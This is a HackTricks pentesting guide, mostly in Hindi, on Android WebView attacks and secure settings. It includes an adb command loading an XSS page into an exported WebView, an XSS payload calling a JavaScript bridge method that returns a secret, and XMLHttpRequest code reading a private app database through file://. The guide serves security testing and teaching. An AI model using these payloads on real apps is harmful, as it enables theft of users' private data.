Webview Attacks

Support HackTricks

Guide on WebView Configurations and Security

Overview of WebView Vulnerabilities

Android विकास का एक महत्वपूर्ण पहलू WebViews का सही प्रबंधन करना है। यह गाइड WebView उपयोग से संबंधित जोखिमों को कम करने के लिए प्रमुख कॉन्फ़िगरेशन और सुरक्षा प्रथाओं को उजागर करती है।

File Access in WebViews

डिफ़ॉल्ट रूप से, WebViews फ़ाइल एक्सेस की अनुमति देते हैं। यह कार्यक्षमता setAllowFileAccess() विधि द्वारा नियंत्रित होती है, जो Android API स्तर 3 (Cupcake 1.5) से उपलब्ध है। android.permission.READ_EXTERNAL_STORAGE अनुमति वाले अनुप्रयोग बाहरी संग्रहण से फ़ाइलों को फ़ाइल URL स्कीम (file://path/to/file) का उपयोग करके पढ़ सकते हैं।

Deprecated Features: Universal and File Access From URLs

  • Universal Access From File URLs: यह अप्रचलित विशेषता फ़ाइल URLs से क्रॉस-ओरिजिन अनुरोधों की अनुमति देती थी, जो संभावित XSS हमलों के कारण महत्वपूर्ण सुरक्षा जोखिम पैदा करती थी। Android Jelly Bean और नए संस्करणों के लिए डिफ़ॉल्ट सेटिंग बंद है (false)।

  • इस सेटिंग की जांच करने के लिए, getAllowUniversalAccessFromFileURLs() का उपयोग करें।

  • इस सेटिंग को संशोधित करने के लिए, setAllowUniversalAccessFromFileURLs(boolean) का उपयोग करें।

  • File Access From File URLs: यह विशेषता, जो भी अप्रचलित है, अन्य फ़ाइल स्कीम URLs से सामग्री तक पहुँच को नियंत्रित करती थी। सार्वभौमिक पहुँच की तरह, इसकी डिफ़ॉल्ट सेटिंग सुरक्षा बढ़ाने के लिए बंद है।

  • जांचने के लिए getAllowFileAccessFromFileURLs() का उपयोग करें और सेट करने के लिए setAllowFileAccessFromFileURLs(boolean) का उपयोग करें।

Secure File Loading

फाइल सिस्टम एक्सेस को बंद करने के लिए जबकि फिर भी संपत्तियों और संसाधनों तक पहुँच प्राप्त करने के लिए, setAllowFileAccess() विधि का उपयोग किया जाता है। Android R और उसके ऊपर, डिफ़ॉल्ट सेटिंग false है।

  • getAllowFileAccess() के साथ जांचें।

  • setAllowFileAccess(boolean) के साथ सक्षम या अक्षम करें।

WebViewAssetLoader

WebViewAssetLoader क्लास स्थानीय फ़ाइलों को लोड करने के लिए आधुनिक दृष्टिकोण है। यह स्थानीय संपत्तियों और संसाधनों तक पहुँच के लिए http(s) URLs का उपयोग करता है, जो Same-Origin नीति के साथ संरेखित होता है, इस प्रकार CORS प्रबंधन को सुविधाजनक बनाता है।

loadUrl

यह एक सामान्य फ़ंक्शन है जिसका उपयोग वेबव्यू में मनमाने URLs को लोड करने के लिए किया जाता है:

webview.loadUrl("<url here>")

Ofc, एक संभावित हमलावर को कभी भी URL को नियंत्रित करने में सक्षम नहीं होना चाहिए जिसे एक एप्लिकेशन लोड करने जा रहा है।

JavaScript और Intent Scheme हैंडलिंग

  • JavaScript: WebViews में डिफ़ॉल्ट रूप से अक्षम होता है, इसे setJavaScriptEnabled() के माध्यम से सक्षम किया जा सकता है। उचित सुरक्षा उपायों के बिना JavaScript को सक्षम करना सुरक्षा कमजोरियों को जन्म दे सकता है, इसलिये सावधानी बरतने की सलाह दी जाती है।

  • Intent Scheme: WebViews intent स्कीम को संभाल सकते हैं, यदि सावधानी से प्रबंधित नहीं किया गया तो यह शोषण की संभावना पैदा कर सकता है। एक उदाहरण की कमजोरी में एक एक्सपोज़्ड WebView पैरामीटर "support_url" शामिल था जिसे क्रॉस-साइट स्क्रिप्टिंग (XSS) हमलों को निष्पादित करने के लिए शोषित किया जा सकता था।

adb का उपयोग करके शोषण का उदाहरण:

adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView –es support_url "https://example.com/xss.html"

Javascript Bridge

Android द्वारा एक विशेषता प्रदान की गई है जो JavaScript को एक WebView में स्थानीय Android ऐप कार्यों को कॉल करने की अनुमति देती है। यह addJavascriptInterface विधि का उपयोग करके प्राप्त किया जाता है, जो JavaScript को स्थानीय Android कार्यक्षमताओं के साथ एकीकृत करता है, जिसे WebView JavaScript bridge कहा जाता है। सावधानी बरतने की सलाह दी जाती है क्योंकि यह विधि WebView के भीतर सभी पृष्ठों को पंजीकृत JavaScript इंटरफ़ेस ऑब्जेक्ट तक पहुँचने की अनुमति देती है, यदि संवेदनशील जानकारी इन इंटरफेस के माध्यम से उजागर होती है तो यह एक सुरक्षा जोखिम पैदा कर सकती है।

  • अत्यधिक सावधानी की आवश्यकता है उन ऐप्स के लिए जो Android संस्करण 4.2 से नीचे लक्षित करते हैं, क्योंकि एक भेद्यता है जो दुर्भावनापूर्ण JavaScript के माध्यम से दूरस्थ कोड निष्पादन की अनुमति देती है, जो परावर्तन का लाभ उठाती है।

Implementing a JavaScript Bridge

  • JavaScript इंटरफेस स्थानीय कोड के साथ बातचीत कर सकते हैं, जैसा कि उदाहरणों में दिखाया गया है जहाँ एक वर्ग विधि को JavaScript के लिए उजागर किया गया है:

@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};
  • JavaScript ब्रिज को WebView में एक इंटरफेस जोड़कर सक्षम किया जाता है:

webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge");
webView.reload();
  • JavaScript के माध्यम से संभावित शोषण, उदाहरण के लिए, XSS हमले के माध्यम से, उजागर किए गए Java विधियों को कॉल करने की अनुमति देता है:

<script>alert(javascriptBridge.getSecret());</script>
  • जोखिमों को कम करने के लिए, JavaScript ब्रिज उपयोग को APK के साथ भेजे गए कोड तक सीमित करें और दूरस्थ स्रोतों से JavaScript लोड करने से रोकें। पुराने उपकरणों के लिए, न्यूनतम API स्तर को 17 पर सेट करें।

Reflection-based Remote Code Execution (RCE)

  • एक प्रलेखित विधि RCE प्राप्त करने की अनुमति देती है जो एक विशिष्ट पेलोड को निष्पादित करके होती है। हालाँकि, @JavascriptInterface एनोटेशन अनधिकृत विधि पहुंच को रोकता है, जिससे हमले की सतह सीमित होती है।

Remote Debugging

  • Remote debugging Chrome Developer Tools के साथ संभव है, जो WebView सामग्री के भीतर बातचीत और मनमाने JavaScript निष्पादन की अनुमति देता है।

Enabling Remote Debugging

  • एक आवेदन के भीतर सभी WebViews के लिए Remote debugging को सक्षम किया जा सकता है:

if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
}
  • एप्लिकेशन की डिबग करने योग्य स्थिति के आधार पर शर्तीय रूप से डिबगिंग सक्षम करने के लिए:

if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
}

Exfiltrate arbitrary files

  • XMLHttpRequest का उपयोग करके मनमाने फ़ाइलों के निष्कासन का प्रदर्शन करता है:

var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText);
}
}
xhr.open('GET', 'file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db', true);
xhr.send(null);

संदर्भ

HackTricks का समर्थन करें

Last updated